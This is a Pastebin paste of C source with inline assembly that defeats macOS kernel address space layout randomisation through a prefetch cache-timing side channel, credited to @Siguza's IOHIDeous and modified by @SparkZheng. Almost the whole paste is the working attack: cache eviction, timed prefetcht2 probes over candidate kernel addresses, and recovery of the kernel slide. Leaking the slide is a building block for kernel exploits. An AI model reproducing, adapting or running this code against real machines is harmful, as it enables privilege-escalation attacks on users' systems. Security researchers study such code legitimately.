Advertisement
Guest User

Breaking macOS kernel slide

a guest
Jan 4th, 2018
1,095
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.47 KB | None | 0 0
  1. /*************************************************************************************
  2.  
  3. Breaking macOS kernel slide through prefetch cache timing attack
  4. code from @Siguza: https://github.com/Siguza/IOHIDeous
  5. A little modification by @SparkZheng
  6.  
  7. FOr compile: clang -o bkaslr bkaslr.c
  8.  
  9. **************************************************************************************/
  10.  
  11. #include <stdint.h>             // uint64_t
  12. #include <stdio.h>              // printf, fprintf, stderr
  13. #include <mach/mach.h>
  14. #include <mach-o/loader.h>      // mach_*
  15. #include <errno.h>              // errno
  16. #include <sched.h>              // sched_yield
  17. #include <string.h>             // strerror
  18. #include <sys/sysctl.h>         // sysctl
  19. #include <errno.h>              // errno
  20. #include <fcntl.h>              // open, O_RDONLY
  21. #include <libproc.h>            // proc_*
  22. #include <stddef.h>             // size_t
  23. #include <stdlib.h>             // realpath, malloc, free
  24. #include <unistd.h>             // close
  25. #include <sys/mman.h>           // mmap, munmap, MAP_FAILED
  26. #include <sys/stat.h>           // fstat, struct stat
  27.  
  28.  
  29. typedef struct mach_header_64 hdr_t;
  30. typedef struct load_command lc_t;
  31. typedef struct segment_command_64 seg_t;
  32. typedef struct
  33. {
  34.     uint32_t nameoff;
  35.     uint32_t flags;
  36.     uint64_t addr;
  37. } sym_t;
  38.  
  39. typedef struct
  40. {
  41.     void *buf;
  42.     size_t len;
  43.     int fd;
  44. } filemap_t;
  45.  
  46.  
  47. #define NUM_PROBE 16
  48. #define FOREACH_CMD(hdr, cmd) \
  49. for(lc_t *cmd  = (lc_t *) (((hdr_t*) (hdr)) + 1), \
  50.          *_end = (lc_t *) ((char *) cmd + ((hdr_t*) (hdr))->sizeofcmds); \
  51.     cmd < _end; \
  52.     cmd = (lc_t *) ((char *) cmd + cmd->cmdsize))
  53.  
  54. #define SLIDE_MAX   0x20000000
  55. #define SLIDE_STEP    0x100000
  56. #define PREFETCH_LIMIT 50
  57. #define KERNEL_PATH "/System/Library/Kernels/kernel"
  58. #define ERR(str, args...) do { fprintf(stderr, "[!] " str " [%s:%u]\n", ##args, __FILE__, __LINE__); } while(0)
  59. #define LOG(str, args...) do { printf(str "\n", ##args); } while(0)
  60.  
  61.  
  62.  
  63. uint64_t time_addr(uint64_t addr, uint8_t *mem, uint32_t cachesize, uint32_t cacheline);
  64.  
  65. __asm__
  66. (
  67.     "_time_addr:\n"
  68.     // Evict cache
  69.     "evict:\n"
  70.     "   subl %ecx, %edx\n"
  71.     "   movq $0, (%rsi, %rdx, 1)\n"
  72.     "   cmp $0, %edx\n"
  73.     "   jg evict\n"
  74.     // Prefetch+Time
  75.     "   mfence\n"
  76.     "   rdtscp\n"
  77.     "   movl %eax, %r10d\n"
  78.     "   movl %edx, %r11d\n"
  79.     "   prefetcht2 (%rdi)\n"
  80.     "   rdtscp\n"
  81.     // Calculate return value
  82.     "   subl %r11d, %edx\n"
  83.     "   subl %r10d, %eax\n"
  84.     "   salq $32, %rdx\n"
  85.     "   orq %rdx, %rax\n"
  86.     "   ret\n"
  87. );
  88.  
  89. static int numerical_compare(const void *a, const void *b)
  90. {
  91.     return *(const uint64_t*)a - *(const uint64_t*)b;
  92. }
  93.  
  94. static uint64_t median_avg(uint64_t *arr, size_t len)
  95. {
  96.     uint64_t avg = 0;
  97.     for(size_t i = len * 3/8; i < len * 5/8; ++i)
  98.     {
  99.         avg += arr[i];
  100.     }
  101.     return avg / (len / 4);
  102. }
  103.  
  104. uint64_t get_kernel_slide(void *kernel)
  105. {
  106.     LOG("Getting kernel slide...");
  107.  
  108.     uint64_t text_base = 0,
  109.              text_size = 0;
  110.     FOREACH_CMD(kernel, cmd)
  111.     {
  112.         if(cmd->cmd == LC_SEGMENT_64)
  113.         {
  114.             text_base = ((seg_t*)cmd)->vmaddr;
  115.             text_size = ((seg_t*)cmd)->vmsize;
  116.             goto found;
  117.         }
  118.     }
  119.     ERR("Failed to get unslid kernel base address from binary");
  120.     return -2;
  121.  
  122.     found:;
  123.     LOG("Unslid kernel base is 0x%016llx", text_base);
  124.  
  125.     int ctrl[] = { CTL_HW, HW_L3CACHESIZE };
  126.     uint32_t cachesize = 0;
  127.     size_t size = sizeof(cachesize);
  128.     if(sysctl(ctrl, sizeof(ctrl) / sizeof(*ctrl), &cachesize, &size, NULL, 0) != 0)
  129.     {
  130.         ERR("sysctl(\"hw.l3cachesize\") failed: %s", strerror(errno));
  131.         return -2;
  132.     }
  133.     LOG("L3 cache size: %u", cachesize);
  134.  
  135.     ctrl[1] = HW_CACHELINE;
  136.     uint32_t cacheline = 0;
  137.     size = sizeof(cacheline);
  138.     if(sysctl(ctrl, sizeof(ctrl) / sizeof(*ctrl), &cacheline, &size, NULL, 0) != 0)
  139.     {
  140.         ERR("sysctl(\"hw.cachelinesize\") failed: %s", strerror(errno));
  141.         return -2;
  142.     }
  143.     LOG("Cacheline size: %u", cacheline);
  144.  
  145.     void *mem = malloc(cachesize);
  146.     if(mem == NULL)
  147.     {
  148.         ERR("Failed to allocate cache eviction buffer: %s", strerror(errno));
  149.         return -2;
  150.     }
  151.  
  152.     LOG("Doing timings, this might take a bit (and requires radio silence)...");
  153.     uint64_t slide = -1;
  154.  
  155.     // Probe kernel mem
  156.     uint64_t *buf = malloc(NUM_PROBE * sizeof(*buf));
  157.     if(buf == NULL)
  158.     {
  159.         ERR("Failed to allocate timings buffer: %s", strerror(errno));
  160.         slide = -2;
  161.         goto cleanup;
  162.     }
  163.  
  164.     size_t num_need = (text_size + SLIDE_STEP - 1) / SLIDE_STEP,
  165.            num_have = 0;
  166.     for(uint64_t off = 0; off < SLIDE_MAX; off += SLIDE_STEP)
  167.     {
  168.         printf("0x%08llx ",off);
  169.         for(size_t i = 0; i < NUM_PROBE; ++i)
  170.         {
  171.             sched_yield(); // reduce likelihood for preemption
  172.             buf[i] = time_addr(text_base + off, mem, cachesize, cacheline);
  173.             printf("%8lld ",buf[i]);
  174.         }
  175.         printf("\n");
  176.         qsort(buf, NUM_PROBE, sizeof(*buf), &numerical_compare);
  177.  
  178.         if(median_avg(buf, NUM_PROBE) > PREFETCH_LIMIT)
  179.         {
  180.             num_have = 0;
  181.         }
  182.         else
  183.         {
  184.             ++num_have;
  185.             if(num_have >= num_need)
  186.             {
  187.                 slide = off - (SLIDE_STEP * (num_have - 1));
  188.                 break;
  189.             }
  190.         }
  191.     }
  192.  
  193.     if(slide == -1)
  194.     {
  195.         ERR("Failed to determine kernel slide");
  196.     }
  197.     else
  198.     {
  199.         LOG("Kernel slide: 0x%llx", slide);
  200.     }
  201.  
  202.     free(buf);
  203. cleanup:;
  204.     free(mem);
  205.     return slide;
  206. }
  207.  
  208.  
  209. int map_file(filemap_t *map, const char *path)
  210. {
  211.     int fd = open(path, O_RDONLY);
  212.     if(fd == -1)
  213.     {
  214.         ERR("Failed to open %s for reading: %s", path, strerror(errno));
  215.         return -1;
  216.     }
  217.     struct stat s;
  218.     if(fstat(fd, &s) != 0)
  219.     {
  220.         ERR("Failed to stat(%s): %s", path, strerror(errno));
  221.         return -1;
  222.     }
  223.     size_t len = s.st_size;
  224.     void *buf = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0);
  225.     if(buf == MAP_FAILED)
  226.     {
  227.         ERR("Failed to map %s to memory: %s", path, strerror(errno));
  228.         return -1;
  229.     }
  230.     map->fd = fd;
  231.     map->len = len;
  232.     map->buf = buf;
  233.     return 0;
  234. }
  235.  
  236.  
  237. int main(int argc, const char **argv)
  238. {
  239.    
  240.     filemap_t kernel;
  241.     if(map_file(&kernel, KERNEL_PATH) != 0)
  242.     {
  243.         return -1;
  244.     }
  245.  
  246.     get_kernel_slide(kernel.buf);
  247.    
  248.     return 0;
  249. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement